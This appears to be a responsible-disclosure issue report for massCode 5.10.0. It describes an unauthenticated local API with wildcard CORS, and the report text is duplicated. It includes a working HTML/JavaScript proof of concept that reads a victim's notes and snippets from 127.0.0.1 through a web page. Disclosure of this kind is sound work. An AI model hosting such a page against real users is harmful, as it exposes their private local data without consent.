Dear developer , I am Song@Jhu ,recently I audit your project ,and I have found a vulnerability,so I want to report it to you
Vulnerability Description
The massCode Notes module exposes a local HTTP API that is vulnerable to unauthorized cross-origin access. When the application starts, it exposes an Elysia API on a local port and enables permissive CORS in src/main/api/index.ts:34 by using cors({ origin: '*' }).
The audit found that Notes-related endpoints do not enforce authentication, including:
GET /notes
GET /notes/:id
POST /notes
PATCH /notes/:id/content
DELETE /notes/:id
GET /note-folders
POST /note-tags
An attacker only needs to trick a user who is running massCode into visiting a malicious web page. The page can then directly send browser requests to http://127.0.0.1:<port>, read the user's local notes list and note content, and potentially trigger note creation, modification, or deletion.
The impact includes disclosure of local vault note content, unauthorized modification of notes, and potential deletion of user data.
Vulnerability Principle
The issue is caused by two conditions:
- The local API enables open CORS:
// src/main/api/index.ts
.use(cors({ origin: '*' }))
This allows arbitrary web pages to read responses from the local massCode API.
- Notes routes do not require authentication:
// src/main/api/routes/notes.ts
.get('/', ...)
.get('/:id', ...)
.post('/', ...)
.patch('/:id/content', ...)
.delete('/:id', ...)
These endpoints directly call useNotesStorage() to read and write local note data, but they do not validate a token, Origin, Referer, or require any user interaction confirmation.
As a result, the browser same-origin policy does not protect the local API. As long as the massCode API is listening on the user's machine, a remote web page can access it with fetch() and read the response.
Vulnerability POC
The following POC is read-only and does not modify or delete any data.
Save the following content as an HTML file or host it on any web server. Make sure massCode is running on the victim machine and that the API port is 4321, or update the port to match the actual configuration.
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>massCode Local API Audit</title>
<style>
body {
margin: 24px;
font-family: Arial, sans-serif;
background: #f7f7f7;
color: #222;
}
h1 {
margin-top: 0;
font-size: 22px;
}
.row {
margin: 12px 0;
}
label {
display: inline-block;
width: 90px;
}
input, select, button {
padding: 6px 8px;
margin: 3px;
}
button {
cursor: pointer;
}
pre {
min-height: 420px;
padding: 12px;
overflow: auto;
white-space: pre-wrap;
background: #111;
color: #eee;
border: 1px solid #333;
}
</style>
</head>
<body>
<h1>massCode Local API Audit</h1>
<div class="row">
<label for="port">Port</label>
<input id="port" value="4321">
</div>
<div class="row">
<button onclick="listNotes()">List notes</button>
<select id="note-list" onchange="document.getElementById('note-id').value = this.value">
<option value="">note id</option>
</select>
<input id="note-id" placeholder="note id">
<button onclick="readNote()">Read note</button>
</div>
<div class="row">
<button onclick="listSnippets()">List snippets</button>
<select id="snippet-list" onchange="document.getElementById('snippet-id').value = this.value">
<option value="">snippet id</option>
</select>
<input id="snippet-id" placeholder="snippet id">
<button onclick="readSnippet()">Read snippet</button>
</div>
<div class="row">
<button onclick="clearOutput()">Clear</button>
</div>
<pre id="output">Click a button to call the local massCode API.</pre>
<script>
function apiBase() {
const port = document.getElementById('port').value || '4321';
return 'http://127.0.0.1:' + port;
}
function show(value) {
const output = document.getElementById('output');
output.textContent = typeof value === 'string'
? value
: JSON.stringify(value, null, 2);
}
function showError(error) {
show(String(error && error.stack ? error.stack : error));
}
async function getJson(path) {
const response = await fetch(apiBase() + path);
const text = await response.text();
if (!response.ok) {
throw new Error(response.status + ' ' + response.statusText + '\n' + text);
}
return text ? JSON.parse(text) : null;
}
function itemsFrom(response) {
if (Array.isArray(response)) return response;
if (response && Array.isArray(response.data)) return response.data;
if (response && Array.isArray(response.items)) return response.items;
return [];
}
function fillSelect(selectId, items) {
const select = document.getElementById(selectId);
select.innerHTML = '<option value="">id</option>';
for (const item of items) {
const option = document.createElement('option');
option.value = item.id;
option.textContent = item.id + (item.name ? ' - ' + item.name : item.title ? ' - ' + item.title : '');
select.appendChild(option);
}
if (items[0]) {
select.value = items[0].id;
select.dispatchEvent(new Event('change'));
}
}
async function listNotes() {
try {
const response = await getJson('/notes');
const notes = itemsFrom(response);
fillSelect('note-list', notes);
show({
endpoint: 'GET /notes',
count: notes.length,
ids: notes.map((note) => note.id),
response
});
} catch (error) {
showError(error);
}
}
async function readNote() {
try {
const id = document.getElementById('note-id').value;
if (!id) throw new Error('Please enter or select a note id.');
const note = await getJson('/notes/' + encodeURIComponent(id));
show({
endpoint: 'GET /notes/' + id,
id,
title: note && (note.name || note.title),
content: note && note.content,
response: note
});
} catch (error) {
showError(error);
}
}
async function listSnippets() {
try {
const response = await getJson('/snippets');
const snippets = itemsFrom(response);
fillSelect('snippet-list', snippets);
show({
endpoint: 'GET /snippets',
count: snippets.length,
ids: snippets.map((snippet) => snippet.id),
response
});
} catch (error) {
showError(error);
}
}
async function readSnippet() {
try {
const id = document.getElementById('snippet-id').value;
if (!id) throw new Error('Please enter or select a snippet id.');
const snippet = await getJson('/snippets/' + encodeURIComponent(id));
show({
endpoint: 'GET /snippets/' + id,
id,
name: snippet && (snippet.name || snippet.title),
contents: snippet && snippet.contents,
response: snippet
});
} catch (error) {
showError(error);
}
}
function clearOutput() {
show('');
}
</script>
</body>
</html>
Expected result:
- The page can successfully read the response from
GET /notes.
- If at least one note exists, the page can also read
GET /notes/:id.
- The response displays note metadata and the details of a selected note.
- The entire process does not require user authorization or a Bearer token.
Suggested severity: High. This vulnerability can lead to local note disclosure, and related unauthenticated endpoints can also modify or delete user data.
To reproduce
- copy the POC as html
- python3 -m http.server 8899 on the poc located directory in your local machine or remote machine
- then you add a note in masscode or code snippet in masscore
- open the poc deployed server address ,for exmple ,127.0.0.1:8899 ,then click the listnote or listcode
you will see this webpage can read the saved note or code snippet on your machine
App Version and Architecture
5.10.0
System info
λ npx envinfo --system
System:
OS: Windows 10 10.0.19045
CPU: (20) x64 13th Gen Intel(R) Core(TM) i5-13600KF
Memory: 21.98 GB / 31.81 GB
Validations
Dear developer , I am Song@Jhu ,recently I audit your project ,and I have found a vulnerability,so I want to report it to you
Vulnerability Description
The massCode Notes module exposes a local HTTP API that is vulnerable to unauthorized cross-origin access. When the application starts, it exposes an Elysia API on a local port and enables permissive CORS in
src/main/api/index.ts:34by usingcors({ origin: '*' }).The audit found that Notes-related endpoints do not enforce authentication, including:
GET /notesGET /notes/:idPOST /notesPATCH /notes/:id/contentDELETE /notes/:idGET /note-foldersPOST /note-tagsAn attacker only needs to trick a user who is running massCode into visiting a malicious web page. The page can then directly send browser requests to
http://127.0.0.1:<port>, read the user's local notes list and note content, and potentially trigger note creation, modification, or deletion.The impact includes disclosure of local vault note content, unauthorized modification of notes, and potential deletion of user data.
Vulnerability Principle
The issue is caused by two conditions:
This allows arbitrary web pages to read responses from the local massCode API.
These endpoints directly call
useNotesStorage()to read and write local note data, but they do not validate a token,Origin,Referer, or require any user interaction confirmation.As a result, the browser same-origin policy does not protect the local API. As long as the massCode API is listening on the user's machine, a remote web page can access it with
fetch()and read the response.Vulnerability POC
The following POC is read-only and does not modify or delete any data.
Save the following content as an HTML file or host it on any web server. Make sure massCode is running on the victim machine and that the API port is
4321, or update the port to match the actual configuration.Expected result:
GET /notes.GET /notes/:id.Suggested severity: High. This vulnerability can lead to local note disclosure, and related unauthenticated endpoints can also modify or delete user data.
To reproduce
you will see this webpage can read the saved note or code snippet on your machine
App Version and Architecture
5.10.0
System info
λ npx envinfo --system System: OS: Windows 10 10.0.19045 CPU: (20) x64 13th Gen Intel(R) Core(TM) i5-13600KF Memory: 21.98 GB / 31.81 GBValidations